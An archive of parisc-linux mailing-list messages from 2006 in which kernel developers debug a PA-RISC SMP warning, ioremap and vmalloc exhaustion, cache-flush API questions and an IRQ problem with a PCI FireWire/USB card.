References: <IX008E$FF5F5C221189CADA64719030F0E34D37@scarlet.be>	<200604021129.31095.deller@gmx.de> <442FB31A.5040308@tiscali.be> <200604021515.04424.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624041 18802 80.91.229.3 (22 Nov 2014 02:40:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <soete.joel@tiscali.be>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Apr 2006 14:29:31 -0000
Original-Received: from guri.is.scarlet.be (EHLO guri.is.scarlet.be) [193.74.71.22]
  by mx0.gmx.net (mx061) with SMTP; 02 Apr 2006 16:29:31 +0200
Original-Received: from (ip-62-235-195-41.dial.scarlet.be [62.235.195.41]) 
	by guri.is.scarlet.be  with ESMTP id k32ETT119006; 
	Sun, 2 Apr 2006 16:29:29 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060205 Debian/1.7.12-1.1
X-Accept-Language: en
In-Reply-To: <200604021515.04424.deller@gmx.de>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /+0WfE1oYW0+truGbmZpbW50amthc5v0
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23532



Helge Deller wrote:
> On Sunday 02 April 2006 13:18, Joel Soete wrote:
> 
[snip]
> 
>>EXT3-fs: mounted filesystem with ordered data mode.
>>VFS: Mounted root (ext3 filesystem) readonly.
>>Freeing unused kernel memory: Badness in smp_call_function at /usr/src/linux-2.6.16.1-pa10/arch/parisc/kernel/smp.c:348
>>Backtrace:
>>  [<0000000010112900>] dump_stack+0x18/0x28
>>  [<000000001011d9b4>] smp_call_function+0x37c/0x3c0
>>  [<0000000010111c5c>] flush_data_cache+0x2c/0x48
>>  [<00000000101109a8>] free_initmem+0x68/0x2f8
>>  [<000000001010fb20>] init+0x858/0x8c8
>>  [<000000001010347c>] ret_from_kernel_
>>(this latest 'Badness in smp_call_function ...' was there but seems to be harmless and the boot continue without showing any more 
>>IOREMAP info ;-) )
> 
> 
> WHAT'S THAT ?
> Do we have some __init too much ?
     337 smp_call_function (void (*func) (void *info), void *info, int retry, int wait)
     338 {
     339         struct smp_call_struct data;
     340         unsigned long timeout;
     341         static DEFINE_SPINLOCK(lock);
     342         int retries = 0;
     343
     344         if (num_online_cpus() < 2)
     345                 return 0;
     346
     347         /* Can deadlock when called with interrupts disabled */
     348         WARN_ON(irqs_disabled());
     349

> I never tested SMP.
> 
No pb ;-)

> 
> 
>>PS: btw, rm CONFIG_DETECT_SOFTLOCKUP in the config doesn't help on this system ;<(:
>>still hanging (this time without Softlockup msg) after only:
>>top - 09:04:58 up 1 day, 16:26,  3 users,  load average: 2.40, 2.26, 2.20
> 
> 
> I think the softlockups don't really matter.
> Does your box hangs without SMP as well ?
> 
well it did with b2k and n4k runing 64bit kernel with CONFIG_DETECT_SOFTLOCKUP=y && # CONFIG_SMP is not set

but I need to verify now without CONFIG_DETECT_SOFTLOCKUP.
(sorry I couldn't do it now but tomorrow morming; ok?

Thanks,
	Joel



From - Thu Nov 08 21:34:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Strange newest LAB msg?
Date: Sun, 2 Apr 2006 19:28:31 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <20060403012831.GB12037@colo.lackof.org>
References: <IX008E$FF5F5C221189CADA64719030F0E34D37@scarlet.be> <200604021129.31095.deller@gmx.de> <442FB31A.5040308@tiscali.be> <200604021515.04424.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624042 18805 80.91.229.3 (22 Nov 2014 02:40:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <grundler@lackof.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Apr 2006 01:17:18 -0000
Original-Received: from colo.lackof.org (EHLO colo.lackof.org) [198.49.126.79]
  by mx0.gmx.net (mx005) with SMTP; 03 Apr 2006 03:17:18 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id A792236001E;
	Sun,  2 Apr 2006 19:28:32 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12278-04; Sun, 2 Apr 2006 19:28:31 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 42BA736001D; Sun,  2 Apr 2006 19:28:31 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200604021515.04424.deller@gmx.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rU4IcUQZbmw7vq2HZzdLS0RHUzc4chHa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23533

On Sun, Apr 02, 2006 at 03:15:04PM +0200, Helge Deller wrote:
...
> > IOREMAP: phys=fffffff200000000, size=4000000	BUT THIS BIG 64MB CHUNK FAILS.
> > allocation failed: out of vmalloc space - use vmalloc=<size> to increase size.
> > IOREMAP: phys=ffffffffbffea000, size=1000
> > IOREMAP: remapped to 0000000000048000		OTHER SMALLER ONES OK AGAIN..
> > LBA version TR4.0 (0x5) found at 0xffffffffbffea000
> 
> So, the problem is really the 64MB ioremap() from lba_pci.c:1216.
> Grant, Willy, ... : Is it possible to reduce it or to iounmap() it again ?

Unfortunately not. Not unless you want to disable IO Port space access.
Each PCI bus controller routes 64MB of GMMIO space to 64KB of IO port space.
The first 4 bytes of each page maps to a unique 4 byte in IO Port space.

On Astro platforms, we can use 64KB in LMMIO space to access
IO Port space for all busses. The difference is Astro only
has one SBA and IOC. N-class has two. There's more to this
and I'm not sure of all the details at the moment.

240MB is clearly not going to be enough on that machine.
Even on a "normal" machine, a couple of graphics cards
would exhaust the 240MB.  A single infiniband card could
exhaust the 240MB space we have now.

hth,
grant



From - Thu Nov 08 21:34:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Strange newest LAB msg?
Date: Sun, 2 Apr 2006 20:02:59 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <20060403020259.GB8315@parisc-linux.org>
References: <IX008E$FF5F5C221189CADA64719030F0E34D37@scarlet.be> <200604021129.31095.deller@gmx.de> <442FB31A.5040308@tiscali.be> <200604021515.04424.deller@gmx.de> <20060403012831.GB12037@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624042 18807 80.91.229.3 (22 Nov 2014 02:40:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:42 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
 parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <willy@parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Apr 2006 02:03:00 -0000
Original-Received: from palinux.external.hp.com (EHLO palinux.hppa) [192.25.206.14]
  by mx0.gmx.net (mx084) with SMTP; 03 Apr 2006 04:03:00 +0200
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id 5EEC849407A; Sun,  2 Apr 2006 20:02:59 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20060403012831.GB12037@colo.lackof.org>
User-Agent: Mutt/1.5.9i
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NOtFd01fODBpsLWUfGRMO041Ji9SWtIw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23534

On Sun, Apr 02, 2006 at 07:28:31PM -0600, Grant Grundler wrote:
> > So, the problem is really the 64MB ioremap() from lba_pci.c:1216.
> > Grant, Willy, ... : Is it possible to reduce it or to iounmap() it again ?
> 
> Unfortunately not. Not unless you want to disable IO Port space access.
> Each PCI bus controller routes 64MB of GMMIO space to 64KB of IO port space.
> The first 4 bytes of each page maps to a unique 4 byte in IO Port space.
> 
> On Astro platforms, we can use 64KB in LMMIO space to access
> IO Port space for all busses. The difference is Astro only
> has one SBA and IOC. N-class has two. There's more to this
> and I'm not sure of all the details at the moment.
> 
> 240MB is clearly not going to be enough on that machine.
> Even on a "normal" machine, a couple of graphics cards
> would exhaust the 240MB.  A single infiniband card could
> exhaust the 240MB space we have now.

I think using page tables to map IO Port space isn't really necessary.
We can use the (slightly inappropriately named) gsc_read/writeX to access
that area.

Also, there should be loads of virtual memory space available to us with
a 64-bit kernel, and we should definitely look at increasing the amount
of vmalloc space available with 64-bit.



From - Thu Nov 08 21:34:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Strange newest LAB msg?
Date: Mon,  3 Apr 2006 14:20:28 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <IX5EE4$B82FAF05A54333ABE2C2402D14E4436C@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624042 18811 80.91.229.3 (22 Nov 2014 02:40:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:42 +0000 (UTC)
Cc: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
To: "deller" <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <soete.joel@tiscali.be>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Apr 2006 13:20:30 -0000
Original-Received: from guri.is.scarlet.be (EHLO guri.is.scarlet.be) [193.74.71.22]
  by mx0.gmx.net (mx040) with SMTP; 03 Apr 2006 15:20:30 +0200
Original-Received: from (fuji.is.scarlet.be [193.74.71.41]) 
	by guri.is.scarlet.be  with ESMTP id k33DKS131165; 
	Mon, 3 Apr 2006 15:20:28 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: e1BYKwtSMydynYigZWplZmhraGRhZtrK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23535

Hello Helge,

> 
> 
> Helge Deller wrote:
> > On Sunday 02 April 2006 13:18, Joel Soete wrote:
> > 
[snip]
> > 
> >>PS: btw, rm CONFIG_DETECT_SOFTLOCKUP in the config doesn't help on th=
is
system ;<(:
> >>still hanging (this time without Softlockup msg) after only:
> >>top - 09:04:58 up 1 day, 16:26,  3 users,  load average: 2.40, 2.26, =
2.20
> > 
> > 
> > I think the softlockups don't really matter.
> > Does your box hangs without SMP as well ?
> > 
> well it did with b2k and n4k runing 64bit kernel with
CONFIG_DETECT_SOFTLOCKUP=3Dy && # CONFIG_SMP is not set
> 
> but I need to verify now without CONFIG_DETECT_SOFTLOCKUP.
> (sorry I couldn't do it now but tomorrow morming; ok?
> 
Unfortunately, this test (kernel 2.6.16-pa10 up and wiythout
CONFIG_DETECT_SOFTLOCKUP) finished earlier then expected: i.e. the system=
 also
hang up after just few hours of build loop ;<(

Joel=0A=0A---------------------------------------------------------------=
=0AA free anti-spam and anti-virus filter on all Scarlet mailboxes=0AMore=
 info on http://www.scarlet.be/



From - Thu Nov 08 21:34:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Miklos Szeredi <miklos@szeredi.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [fuse-devel] Re: [parisc-linux] [PATCH] Fixs to work on ARM
	and PARIC platforms.
Date: Mon, 03 Apr 2006 15:21:22 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <E1FQOzi-0007VZ-00__2129.16605310074$1416624042$gmane$org@dorka.pomaz.szeredi.hu>
References: <e739902b0604010122tefc6ab5radf8121eea8a3015@mail.gmail.com>
	<1143906395.3368.10.camel@mulgrave.il.steeleye.com>
	<E1FPjJe-0001cw-00@dorka.pomaz.szeredi.hu>
	<1143931084.3368.18.camel@mulgrave.il.steeleye.com>
	<E1FPyD6-0002ag-00@dorka.pomaz.szeredi.hu>
	<1143986960.3865.5.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624042 18814 80.91.229.3 (22 Nov 2014 02:40:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:42 +0000 (UTC)
Cc: fuse-devel@lists.sourceforge.net,
 parisc-linux@lists.parisc-linux.org
To: James.Bottomley@SteelEye.com
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Apr 2006 13:22:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx090) with SMTP; 03 Apr 2006 15:22:18 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4BB537D786;
	Mon,  3 Apr 2006 07:22:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08371-02; Mon, 3 Apr 2006 07:22:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9480D7D78F;
	Mon,  3 Apr 2006 07:22:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1A0F97D786
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 Apr 2006 07:22:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08298-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 3 Apr 2006 07:22:06 -0600 (MDT)
Original-Received: from dorka.pomaz.szeredi.hu (a1819.adsl.pool.eol.hu [81.0.120.41])
	by free.linux.hp.com (Postfix) with ESMTP id 22EA77D785
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 Apr 2006 07:22:06 -0600 (MDT)
Original-Received: from miko by dorka.pomaz.szeredi.hu with local (Exim 3.36 #1
	(Debian)) id 1FQOzi-0007VZ-00; Mon, 03 Apr 2006 15:21:22 +0200
In-reply-to: <1143986960.3865.5.camel@mulgrave.il.steeleye.com> (message from
	James Bottomley on Sun, 02 Apr 2006 09:09:20 -0500)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: w2dXLh0caHI+vqWnKSUlaGJqamdhZIQd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23536

> > Otherwise sparc and ppc would have to check PageAnon() from both
> > flush_dcache_page() and flush_anon_page() and call a common function,
> > which seems to just complicate things without any gain.
> 
> I don't think what you propose is desirable or possible:
> flush_dcache_pages() is designed not to have to flush them (it can't
> actually because it can't find them properly)

I see now, that flush_anon_page() also gets the virtual address.

Pardon my ignorance, but I'm still not getting the whole picture.

Current (with your API updates) get_user_pages() does the following on
PARISC:

  flush_anon_page():

    - If page is anonymous, the the user address is flushed which was
      passed to get_user_pages().

  flush_dcache_page():
     - The kernel address is flushed regardless whether the page is
       anonymous or not

     - If the page is file backed, then all user addresses refering to
       the page are flushed

Why this discrepancy between anonymous and file backed pages?
Wounldn't it be enough for file backed pages too to flush only one
user address?

Added to the mix are copy_to/from_user_page() which already seem to do
the above, and are used in combination with get_user_pages() which
results in multiple redundant cache flushes.  Not too clean, is it?

Thanks,
Miklos
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Frost <chris@frostnet.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IOGear Firewire+USB card causes unexpected irq 2
Date: Mon, 3 Apr 2006 20:34:00 -0700
Lines: 118
Approved: news@gmane.org
Message-ID: <20060404033400.GQ25493@pooh.bubble.frostnet.net>
References: <20060329093444.GA5593@pooh.bubble.frostnet.net>
	<20060329135838.GL9011@quicksilver.road.mcmartin.ca>
	<20060330080202.GE5336@pooh.bubble.frostnet.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624043 18816 80.91.229.3 (22 Nov 2014 02:40:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Apr 2006 03:34:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 04 Apr 2006 05:34:22 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F2A2F7D77E;
	Mon,  3 Apr 2006 21:34:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14733-08; Mon, 3 Apr 2006 21:34:15 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B6B927D780;
	Mon,  3 Apr 2006 21:34:14 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6B72B7D778
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 Apr 2006 21:34:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14733-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 3 Apr 2006 21:34:09 -0600 (MDT)
Original-Received: from smtp-3.smtp.ucla.edu (smtp-3.smtp.ucla.edu [169.232.48.136])
	by free.linux.hp.com (Postfix) with ESMTP id 8ACBA7D776
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 Apr 2006 21:34:09 -0600 (MDT)
Original-Received: from mail.ucla.edu (mail.ucla.edu [169.232.47.145])
	by smtp-3.smtp.ucla.edu (8.13.6/8.13.6) with ESMTP id k343Y5Z2012595
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 3 Apr 2006 20:34:07 -0700
Original-Received: from pooh.orion.frostnet.net
	(stmnca-cuda2-new-70-35-52-198.vnnyca.adelphia.net [70.35.52.198])
	(authenticated bits=0)
	by mail.ucla.edu (8.13.6/8.13.6) with ESMTP id k343Y4o1021947
	(version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=NOT)
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 3 Apr 2006 20:34:04 -0700
Original-Received: from chris by pooh.orion.frostnet.net with local (Exim 4.50)
	id 1FQcIr-00064d-Bi
	for parisc-linux@lists.parisc-linux.org; Mon, 03 Apr 2006 20:34:01 -0700
Content-Disposition: inline
In-Reply-To: <20060330080202.GE5336@pooh.bubble.frostnet.net>
X-PGP-Key: Send email with subject 'retrieve pgp key'
X-PGP-Fingerprint: Send email with subject 'retrieve pgp fingerprint'
User-Agent: Mutt/1.5.10i
X-Probable-Spam: no
X-Spam-Hits: 0.05
X-Spam-Report: FORGED_RCVD_HELO
X-Scanned-By: smtp.ucla.edu on 169.232.48.136
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: X4BEd0xfODBpsLWUfGRMO041Ji9SWlLF
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23537

Just curious if anyone might have any thoughts or suggestions? I'd be
quite interested; thanks!


On Thu, Mar 30, 2006 at 12:02:02AM -0800, Chris Frost wrote:
> On Wed, Mar 29, 2006 at 08:58:38AM -0500, Kyle McMartin wrote:
> > lspci -vn for the card, please...
> 
> Attached (pci) is the output of lspci -vvv. The vendor and device codes
> are immediately below. As the machine does not boot with the card in the
> lspci output is from a pc.
> 
> 0:d.0: class 604, vendor id 3388, pci id 0021, rev 13
> 1:c.0: class 0c03, vendor id 1033, pci id 0035, rev 41
> 1:c.1: class 0c03, vendor id 1033, pci id 0035, rev 41
> 1:c.2: class 0c03, vendor id 1033, pci id 00e0, rev 2
> 1:f.0: class 0c00, vendor id 1003, pci id 00f2, rev 1
> 
> 
> > Try commenting out 
> > 	{ PCI_DEVICE(PCI_VENDOR_ID_NS, PCI_DEVICE_ID_NS_87560_USB) },
> > 	{ PCI_DEVICE(PCI_VENDOR_ID_NS, PCI_DEVICE_ID_NS_87415) },
> > in superio.c and seeing if that helps at all.
> 
> This change appears to have no effect.
> 
> 
> Max suggested checking the machine's firmware version. It was running 3.4.
> I upgraded the machine to the latest, 5.0, but this has no visible effect.
> 
> 
> Since 2.6.16-pa9 was released today I also upgraded to it, but with no
> visible change.
> 
> thanks again,
> -- 
> Chris Frost  |  <http://www.frostnet.net/chris/>
> -------------+----------------------------------
> Public PGP Key:
>    Email chris@frostnet.net with the subject "retrieve pgp key"
>    or visit <http://www.frostnet.net/chris/about/pgp_key.phtml>

> 00:0d.0 PCI bridge: Hint Corp: Unknown device 0021 (rev 13) (prog-if 00 [Normal decode])
> 	Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR+ FastB2B-
> 	Status: Cap+ 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR-
> 	Latency: 66, cache line size 08
> 	Bus: primary=00, secondary=01, subordinate=01, sec-latency=0
> 	I/O behind bridge: 0000f000-00000fff
> 	Memory behind bridge: ff900000-ff9fffff
> 	Prefetchable memory behind bridge: 00000000ff800000-00000000ff800000
> 	BridgeCtl: Parity+ SERR+ NoISA- VGA- MAbort- >Reset- FastB2B-
> 	Capabilities: [80] Power Management version 2
> 		Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold-)
> 		Status: D0 PME-Enable- DSel=0 DScale=0 PME-
> 		Bridge: PM- B3+
> 	Capabilities: [90] #06 [0000]
> 	Capabilities: [a0] Vital Product Data
> 
> 01:0c.0 USB Controller: NEC Corporation USB (rev 41) (prog-if 10 [OHCI])
> 	Subsystem: Unknown device 1735:0035
> 	Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR+ FastB2B-
> 	Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR-
> 	Latency: 64 (250ns min, 10500ns max), cache line size 08
> 	Interrupt: pin A routed to IRQ 7
> 	Region 0: Memory at ff9fc000 (32-bit, non-prefetchable) [size=4K]
> 	Capabilities: [40] Power Management version 2
> 		Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold-)
> 		Status: D0 PME-Enable- DSel=0 DScale=0 PME-
> 
> 01:0c.1 USB Controller: NEC Corporation USB (rev 41) (prog-if 10 [OHCI])
> 	Subsystem: Unknown device 1735:0035
> 	Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR+ FastB2B-
> 	Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR-
> 	Latency: 64 (250ns min, 10500ns max), cache line size 08
> 	Interrupt: pin B routed to IRQ 5
> 	Region 0: Memory at ff9fd000 (32-bit, non-prefetchable) [size=4K]
> 	Capabilities: [40] Power Management version 2
> 		Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold-)
